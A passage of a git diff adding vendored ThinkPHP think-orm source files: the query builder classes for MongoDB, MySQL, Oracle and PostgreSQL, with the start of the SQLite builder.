$value) + { + $this->__set($name, $value); + } + + public function offsetExists($name) + { + return $this->__isset($name); + } + + public function offsetUnset($name) + { + $this->__unset($name); + } + + public function offsetGet($name) + { + return $this->__get($name); + } + +} diff --git a/vendor/topthink/think-orm/src/db/builder/Mongo.php b/vendor/topthink/think-orm/src/db/builder/Mongo.php new file mode 100644 index 0000000..823156b --- /dev/null +++ b/vendor/topthink/think-orm/src/db/builder/Mongo.php @@ -0,0 +1,675 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); +namespace think\db\builder; + +use MongoDB\BSON\Javascript; +use MongoDB\BSON\ObjectID; +use MongoDB\BSON\Regex; +use MongoDB\Driver\BulkWrite; +use MongoDB\Driver\Command; +use MongoDB\Driver\Exception\InvalidArgumentException; +use MongoDB\Driver\Query as MongoQuery; +use think\db\connector\Mongo as Connection; +use think\db\exception\DbException as Exception; +use think\db\Mongo as Query; + +class Mongo +{ + // connection对象实例 + protected $connection; + // 最后插入ID + protected $insertId = []; + // 查询表达式 + protected $exp = ['<>' => 'ne', '=' => 'eq', '>' => 'gt', '>=' => 'gte', '<' => 'lt', '<=' => 'lte', 'in' => 'in', 'not in' => 'nin', 'nin' => 'nin', 'mod' => 'mod', 'exists' => 'exists', 'null' => 'null', 'notnull' => 'not null', 'not null' => 'not null', 'regex' => 'regex', 'type' => 'type', 'all' => 'all', '> time' => '> time', '< time' => '< time', 'between' => 'between', 'not between' => 'not between', 'between time' => 'between time', 'not between time' => 'not between time', 'notbetween time' => 'not between time', 'like' => 'like', 'near' => 'near', 'size' => 'size']; + + /** + * 架构函数 + * @access public + * @param Connection $connection 数据库连接对象实例 + */ + public function __construct(Connection $connection) + { + $this->connection = $connection; + } + + /** + * 获取当前的连接对象实例 + * @access public + * @return Connection + */ + public function getConnection(): Connection + { + return $this->connection; + } + + /** + * key分析 + * @access protected + * @param string $key + * @return string + */ + protected function parseKey(Query $query, string $key): string + { + if (0 === strpos($key, '__TABLE__.')) { + [$collection, $key] = explode('.', $key, 2); + } + + if ('id' == $key && $this->connection->getConfig('pk_convert_id')) { + $key = '_id'; + } + + return trim($key); + } + + /** + * value分析 + * @access protected + * @param Query $query 查询对象 + * @param mixed $value + * @param string $field + * @return string + */ + protected function parseValue(Query $query, $value, $field = '') + { + if ('_id' == $field && 'ObjectID' == $this->connection->getConfig('pk_type') && is_string($value)) { + try { + return new ObjectID($value); + } catch (InvalidArgumentException $e) { + return new ObjectID(); + } + } + + return $value; + } + + /** + * insert数据分析 + * @access protected + * @param Query $query 查询对象 + * @param array $data 数据 + * @return array + */ + protected function parseData(Query $query, array $data): array + { + if (empty($data)) { + return []; + } + + $result = []; + + foreach ($data as $key => $val) { + $item = $this->parseKey($query, $key); + + if (is_object($val)) { + $result[$item] = $val; + } elseif (isset($val[0]) && 'exp' == $val[0]) { + $result[$item] = $val[1]; + } elseif (is_null($val)) { + $result[$item] = 'NULL'; + } else { + $result[$item] = $this->parseValue($query, $val, $key); + } + } + + return $result; + } + + /** + * Set数据分析 + * @access protected + * @param Query $query 查询对象 + * @param array $data 数据 + * @return array + */ + protected function parseSet(Query $query, array $data): array + { + if (empty($data)) { + return []; + } + + $result = []; + + foreach ($data as $key => $val) { + $item = $this->parseKey($query, $key); + + if (is_array($val) && isset($val[0]) && is_string($val[0]) && 0 === strpos($val[0], '$')) { + $result[$val[0]][$item] = $this->parseValue($query, $val[1], $key); + } else { + $result['$set'][$item] = $this->parseValue($query, $val, $key); + } + } + + return $result; + } + + /** + * 生成查询过滤条件 + * @access public + * @param Query $query 查询对象 + * @param mixed $where + * @return array + */ + public function parseWhere(Query $query, array $where): array + { + if (empty($where)) { + $where = []; + } + + $filter = []; + foreach ($where as $logic => $val) { + $logic = '$' . strtolower($logic); + foreach ($val as $field => $value) { + if (is_array($value)) { + if (key($value) !== 0) { + throw new Exception('where express error:' . var_export($value, true)); + } + $field = array_shift($value); + } elseif (!($value instanceof \Closure)) { + throw new Exception('where express error:' . var_export($value, true)); + } + + if ($value instanceof \Closure) { + // 使用闭包查询 + $query = new Query($this->connection); + call_user_func_array($value, [ & $query]); + $filter[$logic][] = $this->parseWhere($query, $query->getOptions('where')); + } else { + if (strpos($field, '|')) { + // 不同字段使用相同查询条件(OR) + $array = explode('|', $field); + foreach ($array as $k) { + $filter['$or'][] = $this->parseWhereItem($query, $k, $value); + } + } elseif (strpos($field, '&')) { + // 不同字段使用相同查询条件(AND) + $array = explode('&', $field); + foreach ($array as $k) { + $filter['$and'][] = $this->parseWhereItem($query, $k, $value); + } + } else { + // 对字段使用表达式查询 + $field = is_string($field) ? $field : ''; + $filter[$logic][] = $this->parseWhereItem($query, $field, $value); + } + } + } + } + + $options = $query->getOptions(); + if (!empty($options['soft_delete'])) { + // 附加软删除条件 + [$field, $condition] = $options['soft_delete']; + $filter['$and'][] = $this->parseWhereItem($query, $field, $condition); + } + + return $filter; + } + + // where子单元分析 + protected function parseWhereItem(Query $query, $field, $val): array + { + $key = $field ? $this->parseKey($query, $field) : ''; + // 查询规则和条件 + if (!is_array($val)) { + $val = ['=', $val]; + } + [$exp, $value] = $val; + + // 对一个字段使用多个查询条件 + if (is_array($exp)) { + $data = []; + foreach ($val as $value) { + $exp = $value[0]; + $value = $value[1]; + if (!in_array($exp, $this->exp)) { + $exp = strtolower($exp); + if (isset($this->exp[$exp])) { + $exp = $this->exp[$exp]; + } + } + $k = '$' . $exp; + $data[$k] = $value; + } + $result[$key] = $data; + return $result; + } elseif (!in_array($exp, $this->exp)) { + $exp = strtolower($exp); + if (isset($this->exp[$exp])) { + $exp = $this->exp[$exp]; + } else { + throw new Exception('where express error:' . $exp); + } + } + + $result = []; + if ('=' == $exp) { + // 普通查询 + $result[$key] = $this->parseValue($query, $value, $key); + } elseif (in_array($exp, ['neq', 'ne', 'gt', 'egt', 'gte', 'lt', 'lte', 'elt', 'mod'])) { + // 比较运算 + $k = '$' . $exp; + $result[$key] = [$k => $this->parseValue($query, $value, $key)]; + } elseif ('null' == $exp) { + // NULL 查询 + $result[$key] = null; + } elseif ('not null' == $exp) { + $result[$key] = ['$ne' => null]; + } elseif ('all' == $exp) { + // 满足所有指定条件 + $result[$key] = ['$all', $this->parseValue($query, $value, $key)]; + } elseif ('between' == $exp) { + // 区间查询 + $value = is_array($value) ? $value : explode(',', $value); + $result[$key] = ['$gte' => $this->parseValue($query, $value[0], $key), '$lte' => $this->parseValue($query, $value[1], $key)]; + } elseif ('not between' == $exp) { + // 范围查询 + $value = is_array($value) ? $value : explode(',', $value); + $result[$key] = ['$lt' => $this->parseValue($query, $value[0], $key), '$gt' => $this->parseValue($query, $value[1], $key)]; + } elseif ('exists' == $exp) { + // 字段是否存在 + $result[$key] = ['$exists' => (bool) $value]; + } elseif ('type' == $exp) { + // 类型查询 + $result[$key] = ['$type' => intval($value)]; + } elseif ('exp' == $exp) { + // 表达式查询 + $result['$where'] = $value instanceof Javascript ? $value : new Javascript($value); + } elseif ('like' == $exp) { + // 模糊查询 采用正则方式 + $result[$key] = $value instanceof Regex ? $value : new Regex($value, 'i'); + } elseif (in_array($exp, ['nin', 'in'])) { + // IN 查询 + $value = is_array($value) ? $value : explode(',', $value); + foreach ($value as $k => $val) { + $value[$k] = $this->parseValue($query, $val, $key); + } + $result[$key] = ['$' . $exp => $value]; + } elseif ('regex' == $exp) { + $result[$key] = $value instanceof Regex ? $value : new Regex($value, 'i'); + } elseif ('< time' == $exp) { + $result[$key] = ['$lt' => $this->parseDateTime($query, $value, $field)]; + } elseif ('> time' == $exp) { + $result[$key] = ['$gt' => $this->parseDateTime($query, $value, $field)]; + } elseif ('between time' == $exp) { + // 区间查询 + $value = is_array($value) ? $value : explode(',', $value); + $result[$key] = ['$gte' => $this->parseDateTime($query, $value[0], $field), '$lte' => $this->parseDateTime($query, $value[1], $field)]; + } elseif ('not between time' == $exp) { + // 范围查询 + $value = is_array($value) ? $value : explode(',', $value); + $result[$key] = ['$lt' => $this->parseDateTime($query, $value[0], $field), '$gt' => $this->parseDateTime($query, $value[1], $field)]; + } elseif ('near' == $exp) { + // 经纬度查询 + $result[$key] = ['$near' => $this->parseValue($query, $value, $key)]; + } elseif ('size' == $exp) { + // 元素长度查询 + $result[$key] = ['$size' => intval($value)]; + } else { + // 普通查询 + $result[$key] = $this->parseValue($query, $value, $key); + } + + return $result; + } + + /** + * 日期时间条件解析 + * @access protected + * @param Query $query 查询对象 + * @param string $value + * @param string $key + * @return string + */ + protected function parseDateTime(Query $query, $value, $key) + { + // 获取时间字段类型 + $type = $query->getFieldType($key); + + if ($type) { + if (is_string($value)) { + $value = strtotime($value) ?: $value; + } + + if (is_int($value)) { + if (preg_match('/(datetime|timestamp)/is', $type)) { + // 日期及时间戳类型 + $value = date('Y-m-d H:i:s', $value); + } elseif (preg_match('/(date)/is', $type)) { + // 日期及时间戳类型 + $value = date('Y-m-d', $value); + } + } + } + + return $value; + } + + /** + * 获取最后写入的ID 如果是insertAll方法的话 返回所有写入的ID + * @access public + * @return mixed + */ + public function getLastInsID() + { + return $this->insertId; + } + + /** + * 生成insert BulkWrite对象 + * @access public + * @param Query $query 查询对象 + * @return BulkWrite + */ + public function insert(Query $query): BulkWrite + { + // 分析并处理数据 + $options = $query->getOptions(); + + $data = $this->parseData($query, $options['data']); + + $bulk = new BulkWrite; + + if ($insertId = $bulk->insert($data)) { + $this->insertId = $insertId; + } + + $this->log('insert', $data, $options); + + return $bulk; + } + + /** + * 生成insertall BulkWrite对象 + * @access public + * @param Query $query 查询对象 + * @param array $dataSet 数据集 + * @return BulkWrite + */ + public function insertAll(Query $query, array $dataSet): BulkWrite + { + $bulk = new BulkWrite; + $options = $query->getOptions(); + + $this->insertId = []; + foreach ($dataSet as $data) { + // 分析并处理数据 + $data = $this->parseData($query, $data); + if ($insertId = $bulk->insert($data)) { + $this->insertId[] = $insertId; + } + } + + $this->log('insert', $dataSet, $options); + + return $bulk; + } + + /** + * 生成update BulkWrite对象 + * @access public + * @param Query $query 查询对象 + * @return BulkWrite + */ + public function update(Query $query): BulkWrite + { + $options = $query->getOptions(); + + $data = $this->parseSet($query, $options['data']); + $where = $this->parseWhere($query, $options['where']); + + if (1 == $options['limit']) { + $updateOptions = ['multi' => false]; + } else { + $updateOptions = ['multi' => true]; + } + + $bulk = new BulkWrite; + + $bulk->update($where, $data, $updateOptions); + + $this->log('update', $data, $where); + + return $bulk; + } + + /** + * 生成delete BulkWrite对象 + * @access public + * @param Query $query 查询对象 + * @return BulkWrite + */ + public function delete(Query $query): BulkWrite + { + $options = $query->getOptions(); + $where = $this->parseWhere($query, $options['where']); + + $bulk = new BulkWrite; + + if (1 == $options['limit']) { + $deleteOptions = ['limit' => 1]; + } else { + $deleteOptions = ['limit' => 0]; + } + + $bulk->delete($where, $deleteOptions); + + $this->log('remove', $where, $deleteOptions); + + return $bulk; + } + + /** + * 生成Mongo查询对象 + * @access public + * @param Query $query 查询对象 + * @param bool $one 是否仅获取一个记录 + * @return MongoQuery + */ + public function select(Query $query, bool $one = false): MongoQuery + { + $options = $query->getOptions(); + + $where = $this->parseWhere($query, $options['where']); + + if ($one) { + $options['limit'] = 1; + } + + $query = new MongoQuery($where, $options); + + $this->log('find', $where, $options); + + return $query; + } + + /** + * 生成Count命令 + * @access public + * @param Query $query 查询对象 + * @return Command + */ + public function count(Query $query): Command + { + $options = $query->getOptions(); + + $cmd['count'] = $options['table']; + $cmd['query'] = (object) $this->parseWhere($query, $options['where']); + + foreach (['hint', 'limit', 'maxTimeMS', 'skip'] as $option) { + if (isset($options[$option])) { + $cmd[$option] = $options[$option]; + } + } + + $command = new Command($cmd); + $this->log('cmd', 'count', $cmd); + + return $command; + } + + /** + * 聚合查询命令 + * @access public + * @param Query $query 查询对象 + * @param array $extra 指令和字段 + * @return Command + */ + public function aggregate(Query $query, array $extra): Command + { + $options = $query->getOptions(); + [$fun, $field] = $extra; + + if ('id' == $field && $this->connection->getConfig('pk_convert_id')) { + $field = '_id'; + } + + $group = isset($options['group']) ? '$' . $options['group'] : null; + + $pipeline = [ + ['$match' => (object) $this->parseWhere($query, $options['where'])], + ['$group' => ['_id' => $group, 'aggregate' => ['$' . $fun => '$' . $field]]], + ]; + + $cmd = [ + 'aggregate' => $options['table'], + 'allowDiskUse' => true, + 'pipeline' => $pipeline, + 'cursor' => new \stdClass, + ]; + + foreach (['explain', 'collation', 'bypassDocumentValidation', 'readConcern'] as $option) { + if (isset($options[$option])) { + $cmd[$option] = $options[$option]; + } + } + + $command = new Command($cmd); + + $this->log('aggregate', $cmd); + + return $command; + } + + /** + * 多聚合查询命令, 可以对多个字段进行 group by 操作 + * + * @param Query $query 查询对象 + * @param array $extra 指令和字段 + * @return Command + */ + public function multiAggregate(Query $query, $extra): Command + { + $options = $query->getOptions(); + + [$aggregate, $groupBy] = $extra; + + $groups = ['_id' => []]; + + foreach ($groupBy as $field) { + $groups['_id'][$field] = '$' . $field; + } + + foreach ($aggregate as $fun => $field) { + $groups[$field . '_' . $fun] = ['$' . $fun => '$' . $field]; + } + + $pipeline = [ + ['$match' => (object) $this->parseWhere($query, $options['where'])], + ['$group' => $groups], + ]; + + $cmd = [ + 'aggregate' => $options['table'], + 'allowDiskUse' => true, + 'pipeline' => $pipeline, + 'cursor' => new \stdClass, + ]; + + foreach (['explain', 'collation', 'bypassDocumentValidation', 'readConcern'] as $option) { + if (isset($options[$option])) { + $cmd[$option] = $options[$option]; + } + } + + $command = new Command($cmd); + $this->log('group', $cmd); + + return $command; + } + + /** + * 生成distinct命令 + * @access public + * @param Query $query 查询对象 + * @param string $field 字段名 + * @return Command + */ + public function distinct(Query $query, $field): Command + { + $options = $query->getOptions(); + + $cmd = [ + 'distinct' => $options['table'], + 'key' => $field, + ]; + + if (!empty($options['where'])) { + $cmd['query'] = (object) $this->parseWhere($query, $options['where']); + } + + if (isset($options['maxTimeMS'])) { + $cmd['maxTimeMS'] = $options['maxTimeMS']; + } + + $command = new Command($cmd); + + $this->log('cmd', 'distinct', $cmd); + + return $command; + } + + /** + * 查询所有的collection + * @access public + * @return Command + */ + public function listcollections(): Command + { + $cmd = ['listCollections' => 1]; + $command = new Command($cmd); + + $this->log('cmd', 'listCollections', $cmd); + + return $command; + } + + /** + * 查询数据表的状态信息 + * @access public + * @param Query $query 查询对象 + * @return Command + */ + public function collStats(Query $query): Command + { + $options = $query->getOptions(); + + $cmd = ['collStats' => $options['table']]; + $command = new Command($cmd); + + $this->log('cmd', 'collStats', $cmd); + + return $command; + } + + protected function log($type, $data, $options = []) + { + $this->connection->mongoLog($type, $data, $options); + } +} diff --git a/vendor/topthink/think-orm/src/db/builder/Mysql.php b/vendor/topthink/think-orm/src/db/builder/Mysql.php new file mode 100644 index 0000000..df6bffd --- /dev/null +++ b/vendor/topthink/think-orm/src/db/builder/Mysql.php @@ -0,0 +1,421 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db\builder; + +use think\db\Builder; +use think\db\exception\DbException as Exception; +use think\db\Query; +use think\db\Raw; + +/** + * mysql数据库驱动 + */ +class Mysql extends Builder +{ + /** + * 查询表达式解析 + * @var array + */ + protected $parser = [ + 'parseCompare' => ['=', '<>', '>', '>=', '<', '<='], + 'parseLike' => ['LIKE', 'NOT LIKE'], + 'parseBetween' => ['NOT BETWEEN', 'BETWEEN'], + 'parseIn' => ['NOT IN', 'IN'], + 'parseExp' => ['EXP'], + 'parseRegexp' => ['REGEXP', 'NOT REGEXP'], + 'parseNull' => ['NOT NULL', 'NULL'], + 'parseBetweenTime' => ['BETWEEN TIME', 'NOT BETWEEN TIME'], + 'parseTime' => ['< TIME', '> TIME', '<= TIME', '>= TIME'], + 'parseExists' => ['NOT EXISTS', 'EXISTS'], + 'parseColumn' => ['COLUMN'], + 'parseFindInSet' => ['FIND IN SET'], + ]; + + /** + * SELECT SQL表达式 + * @var string + */ + protected $selectSql = 'SELECT%DISTINCT%%EXTRA% %FIELD% FROM %TABLE%%PARTITION%%FORCE%%JOIN%%WHERE%%GROUP%%HAVING%%UNION%%ORDER%%LIMIT% %LOCK%%COMMENT%'; + + /** + * INSERT SQL表达式 + * @var string + */ + protected $insertSql = '%INSERT%%EXTRA% INTO %TABLE%%PARTITION% SET %SET% %DUPLICATE%%COMMENT%'; + + /** + * INSERT ALL SQL表达式 + * @var string + */ + protected $insertAllSql = '%INSERT%%EXTRA% INTO %TABLE%%PARTITION% (%FIELD%) VALUES %DATA% %DUPLICATE%%COMMENT%'; + + /** + * UPDATE SQL表达式 + * @var string + */ + protected $updateSql = 'UPDATE%EXTRA% %TABLE%%PARTITION% %JOIN% SET %SET% %WHERE% %ORDER%%LIMIT% %LOCK%%COMMENT%'; + + /** + * DELETE SQL表达式 + * @var string + */ + protected $deleteSql = 'DELETE%EXTRA% FROM %TABLE%%PARTITION%%USING%%JOIN%%WHERE%%ORDER%%LIMIT% %LOCK%%COMMENT%'; + + /** + * 生成查询SQL + * @access public + * @param Query $query 查询对象 + * @param bool $one 是否仅获取一个记录 + * @return string + */ + public function select(Query $query, bool $one = false): string + { + $options = $query->getOptions(); + + return str_replace( + ['%TABLE%', '%PARTITION%', '%DISTINCT%', '%EXTRA%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'], + [ + $this->parseTable($query, $options['table']), + $this->parsePartition($query, $options['partition']), + $this->parseDistinct($query, $options['distinct']), + $this->parseExtra($query, $options['extra']), + $this->parseField($query, $options['field']), + $this->parseJoin($query, $options['join']), + $this->parseWhere($query, $options['where']), + $this->parseGroup($query, $options['group']), + $this->parseHaving($query, $options['having']), + $this->parseOrder($query, $options['order']), + $this->parseLimit($query, $one ? '1' : $options['limit']), + $this->parseUnion($query, $options['union']), + $this->parseLock($query, $options['lock']), + $this->parseComment($query, $options['comment']), + $this->parseForce($query, $options['force']), + ], + $this->selectSql); + } + + /** + * 生成Insert SQL + * @access public + * @param Query $query 查询对象 + * @return string + */ + public function insert(Query $query): string + { + $options = $query->getOptions(); + + // 分析并处理数据 + $data = $this->parseData($query, $options['data']); + if (empty($data)) { + return ''; + } + + $set = []; + foreach ($data as $key => $val) { + $set[] = $key . ' = ' . $val; + } + + return str_replace( + ['%INSERT%', '%EXTRA%', '%TABLE%', '%PARTITION%', '%SET%', '%DUPLICATE%', '%COMMENT%'], + [ + !empty($options['replace']) ? 'REPLACE' : 'INSERT', + $this->parseExtra($query, $options['extra']), + $this->parseTable($query, $options['table']), + $this->parsePartition($query, $options['partition']), + implode(' , ', $set), + $this->parseDuplicate($query, $options['duplicate']), + $this->parseComment($query, $options['comment']), + ], + $this->insertSql); + } + + /** + * 生成insertall SQL + * @access public + * @param Query $query 查询对象 + * @param array $dataSet 数据集 + * @param bool $replace 是否replace + * @return string + */ + public function insertAll(Query $query, array $dataSet, bool $replace = false): string + { + $options = $query->getOptions(); + + // 获取绑定信息 + $bind = $query->getFieldsBindType(); + + // 获取合法的字段 + if ('*' == $options['field']) { + $allowFields = array_keys($bind); + } else { + $allowFields = $options['field']; + } + + $fields = []; + $values = []; + + foreach ($dataSet as $data) { + $data = $this->parseData($query, $data, $allowFields, $bind); + + $values[] = '( ' . implode(',', array_values($data)) . ' )'; + + if (!isset($insertFields)) { + $insertFields = array_keys($data); + } + } + + foreach ($insertFields as $field) { + $fields[] = $this->parseKey($query, $field); + } + + return str_replace( + ['%INSERT%', '%EXTRA%', '%TABLE%', '%PARTITION%', '%FIELD%', '%DATA%', '%DUPLICATE%', '%COMMENT%'], + [ + $replace ? 'REPLACE' : 'INSERT', + $this->parseExtra($query, $options['extra']), + $this->parseTable($query, $options['table']), + $this->parsePartition($query, $options['partition']), + implode(' , ', $fields), + implode(' , ', $values), + $this->parseDuplicate($query, $options['duplicate']), + $this->parseComment($query, $options['comment']), + ], + $this->insertAllSql); + } + + /** + * 生成update SQL + * @access public + * @param Query $query 查询对象 + * @return string + */ + public function update(Query $query): string + { + $options = $query->getOptions(); + + $data = $this->parseData($query, $options['data']); + + if (empty($data)) { + return ''; + } + $set = []; + foreach ($data as $key => $val) { + $set[] = $key . ' = ' . $val; + } + + return str_replace( + ['%TABLE%', '%PARTITION%', '%EXTRA%', '%SET%', '%JOIN%', '%WHERE%', '%ORDER%', '%LIMIT%', '%LOCK%', '%COMMENT%'], + [ + $this->parseTable($query, $options['table']), + $this->parsePartition($query, $options['partition']), + $this->parseExtra($query, $options['extra']), + implode(' , ', $set), + $this->parseJoin($query, $options['join']), + $this->parseWhere($query, $options['where']), + $this->parseOrder($query, $options['order']), + $this->parseLimit($query, $options['limit']), + $this->parseLock($query, $options['lock']), + $this->parseComment($query, $options['comment']), + ], + $this->updateSql); + } + + /** + * 生成delete SQL + * @access public + * @param Query $query 查询对象 + * @return string + */ + public function delete(Query $query): string + { + $options = $query->getOptions(); + + return str_replace( + ['%TABLE%', '%PARTITION%', '%EXTRA%', '%USING%', '%JOIN%', '%WHERE%', '%ORDER%', '%LIMIT%', '%LOCK%', '%COMMENT%'], + [ + $this->parseTable($query, $options['table']), + $this->parsePartition($query, $options['partition']), + $this->parseExtra($query, $options['extra']), + !empty($options['using']) ? ' USING ' . $this->parseTable($query, $options['using']) . ' ' : '', + $this->parseJoin($query, $options['join']), + $this->parseWhere($query, $options['where']), + $this->parseOrder($query, $options['order']), + $this->parseLimit($query, $options['limit']), + $this->parseLock($query, $options['lock']), + $this->parseComment($query, $options['comment']), + ], + $this->deleteSql); + } + + /** + * 正则查询 + * @access protected + * @param Query $query 查询对象 + * @param string $key + * @param string $exp + * @param mixed $value + * @param string $field + * @return string + */ + protected function parseRegexp(Query $query, string $key, string $exp, $value, string $field): string + { + if ($value instanceof Raw) { + $value = $this->parseRaw($query, $value); + } + + return $key . ' ' . $exp . ' ' . $value; + } + + /** + * FIND_IN_SET 查询 + * @access protected + * @param Query $query 查询对象 + * @param string $key + * @param string $exp + * @param mixed $value + * @param string $field + * @return string + */ + protected function parseFindInSet(Query $query, string $key, string $exp, $value, string $field): string + { + if ($value instanceof Raw) { + $value = $this->parseRaw($query, $value); + } + + return 'FIND_IN_SET(' . $value . ', ' . $key . ')'; + } + + /** + * 字段和表名处理 + * @access public + * @param Query $query 查询对象 + * @param mixed $key 字段名 + * @param bool $strict 严格检测 + * @return string + */ + public function parseKey(Query $query, $key, bool $strict = false): string + { + if (is_int($key)) { + return (string) $key; + } elseif ($key instanceof Raw) { + return $this->parseRaw($query, $key); + } + + $key = trim($key); + + if (strpos($key, '->') && false === strpos($key, '(')) { + // JSON字段支持 + [$field, $name] = explode('->', $key, 2); + return 'json_extract(' . $this->parseKey($query, $field) . ', \'$' . (strpos($name, '[') === 0 ? '' : '.') . str_replace('->', '.', $name) . '\')'; + } elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) { + [$table, $key] = explode('.', $key, 2); + + $alias = $query->getOptions('alias'); + + if ('__TABLE__' == $table) { + $table = $query->getOptions('table'); + $table = is_array($table) ? array_shift($table) : $table; + } + + if (isset($alias[$table])) { + $table = $alias[$table]; + } + } + + if ($strict && !preg_match('/^[\w\.\*]+$/', $key)) { + throw new Exception('not support data:' . $key); + } + + if ('*' != $key && !preg_match('/[,\'\"\*\(\)`.\s]/', $key)) { + $key = '`' . $key . '`'; + } + + if (isset($table)) { + if (strpos($table, '.')) { + $table = str_replace('.', '`.`', $table); + } + + $key = '`' . $table . '`.' . $key; + } + + return $key; + } + + /** + * 随机排序 + * @access protected + * @param Query $query 查询对象 + * @return string + */ + protected function parseRand(Query $query): string + { + return 'rand()'; + } + + /** + * Partition 分析 + * @access protected + * @param Query $query 查询对象 + * @param string|array $partition 分区 + * @return string + */ + protected function parsePartition(Query $query, $partition): string + { + if ('' == $partition) { + return ''; + } + + if (is_string($partition)) { + $partition = explode(',', $partition); + } + + return ' PARTITION (' . implode(' , ', $partition) . ') '; + } + + /** + * ON DUPLICATE KEY UPDATE 分析 + * @access protected + * @param Query $query 查询对象 + * @param mixed $duplicate + * @return string + */ + protected function parseDuplicate(Query $query, $duplicate): string + { + if ('' == $duplicate) { + return ''; + } + + if ($duplicate instanceof Raw) { + return ' ON DUPLICATE KEY UPDATE ' . $this->parseRaw($query, $duplicate) . ' '; + } + + if (is_string($duplicate)) { + $duplicate = explode(',', $duplicate); + } + + $updates = []; + foreach ($duplicate as $key => $val) { + if (is_numeric($key)) { + $val = $this->parseKey($query, $val); + $updates[] = $val . ' = VALUES(' . $val . ')'; + } elseif ($val instanceof Raw) { + $updates[] = $this->parseKey($query, $key) . " = " . $this->parseRaw($query, $val); + } else { + $name = $query->bindValue($val, $query->getConnection()->getFieldBindType($key)); + $updates[] = $this->parseKey($query, $key) . " = :" . $name; + } + } + + return ' ON DUPLICATE KEY UPDATE ' . implode(' , ', $updates) . ' '; + } +} diff --git a/vendor/topthink/think-orm/src/db/builder/Oracle.php b/vendor/topthink/think-orm/src/db/builder/Oracle.php new file mode 100644 index 0000000..77ad3c8 --- /dev/null +++ b/vendor/topthink/think-orm/src/db/builder/Oracle.php @@ -0,0 +1,95 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db\builder; + +use think\db\Builder; +use think\db\Query; + +/** + * Oracle数据库驱动 + */ +class Oracle extends Builder +{ + protected $selectSql = 'SELECT * FROM (SELECT thinkphp.*, rownum AS numrow FROM (SELECT %DISTINCT% %FIELD% FROM %TABLE%%JOIN%%WHERE%%GROUP%%HAVING%%ORDER%) thinkphp ) %LIMIT%%COMMENT%'; + + /** + * limit分析 + * @access protected + * @param Query $query 查询对象 + * @param mixed $limit + * @return string + */ + protected function parseLimit(Query $query, string $limit): string + { + $limitStr = ''; + + if (!empty($limit)) { + $limit = explode(',', $limit); + + if (count($limit) > 1) { + $limitStr = "(numrow>" . $limit[0] . ") AND (numrow<=" . ($limit[0] + $limit[1]) . ")"; + } else { + $limitStr = "(numrow>0 AND numrow<=" . $limit[0] . ")"; + } + + } + + return $limitStr ? ' WHERE ' . $limitStr : ''; + } + + /** + * 设置锁机制 + * @access protected + * @param Query $query 查询对象 + * @param bool|false $lock + * @return string + */ + protected function parseLock(Query $query, $lock = false): string + { + if (!$lock) { + return ''; + } + + return ' FOR UPDATE NOWAIT '; + } + + /** + * 字段和表名处理 + * @access public + * @param Query $query 查询对象 + * @param string $key + * @param string $strict + * @return string + */ + public function parseKey(Query $query, $key, bool $strict = false): string + { + $key = trim($key); + + if (strpos($key, '->') && false === strpos($key, '(')) { + // JSON字段支持 + [$field, $name] = explode($key, '->'); + $key = $field . '."' . $name . '"'; + } + + return $key; + } + + /** + * 随机排序 + * @access protected + * @param Query $query 查询对象 + * @return string + */ + protected function parseRand(Query $query): string + { + return 'DBMS_RANDOM.value'; + } +} diff --git a/vendor/topthink/think-orm/src/db/builder/Pgsql.php b/vendor/topthink/think-orm/src/db/builder/Pgsql.php new file mode 100644 index 0000000..4eace0a --- /dev/null +++ b/vendor/topthink/think-orm/src/db/builder/Pgsql.php @@ -0,0 +1,118 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db\builder; + +use think\db\Builder; +use think\db\Query; +use think\db\Raw; + +/** + * Pgsql数据库驱动 + */ +class Pgsql extends Builder +{ + /** + * INSERT SQL表达式 + * @var string + */ + protected $insertSql = 'INSERT INTO %TABLE% (%FIELD%) VALUES (%DATA%) %COMMENT%'; + + /** + * INSERT ALL SQL表达式 + * @var string + */ + protected $insertAllSql = 'INSERT INTO %TABLE% (%FIELD%) %DATA% %COMMENT%'; + + /** + * limit分析 + * @access protected + * @param Query $query 查询对象 + * @param mixed $limit + * @return string + */ + public function parseLimit(Query $query, string $limit): string + { + $limitStr = ''; + + if (!empty($limit)) { + $limit = explode(',', $limit); + if (count($limit) > 1) { + $limitStr .= ' LIMIT ' . $limit[1] . ' OFFSET ' . $limit[0] . ' '; + } else { + $limitStr .= ' LIMIT ' . $limit[0] . ' '; + } + } + + return $limitStr; + } + + /** + * 字段和表名处理 + * @access public + * @param Query $query 查询对象 + * @param mixed $key 字段名 + * @param bool $strict 严格检测 + * @return string + */ + public function parseKey(Query $query, $key, bool $strict = false): string + { + if (is_int($key)) { + return (string) $key; + } elseif ($key instanceof Raw) { + return $this->parseRaw($query, $key); + } + + $key = trim($key); + + if (strpos($key, '->') && false === strpos($key, '(')) { + // JSON字段支持 + [$field, $name] = explode('->', $key); + $key = '"' . $field . '"' . '->>\'' . $name . '\''; + } elseif (strpos($key, '.')) { + [$table, $key] = explode('.', $key, 2); + + $alias = $query->getOptions('alias'); + + if ('__TABLE__' == $table) { + $table = $query->getOptions('table'); + $table = is_array($table) ? array_shift($table) : $table; + } + + if (isset($alias[$table])) { + $table = $alias[$table]; + } + + if ('*' != $key && !preg_match('/[,\"\*\(\).\s]/', $key)) { + $key = '"' . $key . '"'; + } + } + + if (isset($table)) { + $key = $table . '.' . $key; + } + + return $key; + } + + /** + * 随机排序 + * @access protected + * @param Query $query 查询对象 + * @return string + */ + protected function parseRand(Query $query): string + { + return 'RANDOM()'; + } + +} diff --git a/vendor/topthink/think-orm/src/db/builder/Sqlite.php b/vendor/topthink/think-orm/src/db/builder/Sqlite.php new file mode 100644 index 0000000..40cab7f --- /dev/null +++ b/vendor/topthink/think-orm/src/db/builder/Sqlite.php @@ -0,0 +1,97 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db\builder; + +use think\db\Builder; +use think\db\Query; +use think\db\Raw; + +/** + * Sqlite数据库驱动 + */ +class Sqlite extends Builder +{ + /** + * limit + * @access public + * @param Query $query 查询对象 + * @param mixed $limit + * @return string + */ + public function parseLimit(Query $query, string $limit): string + { 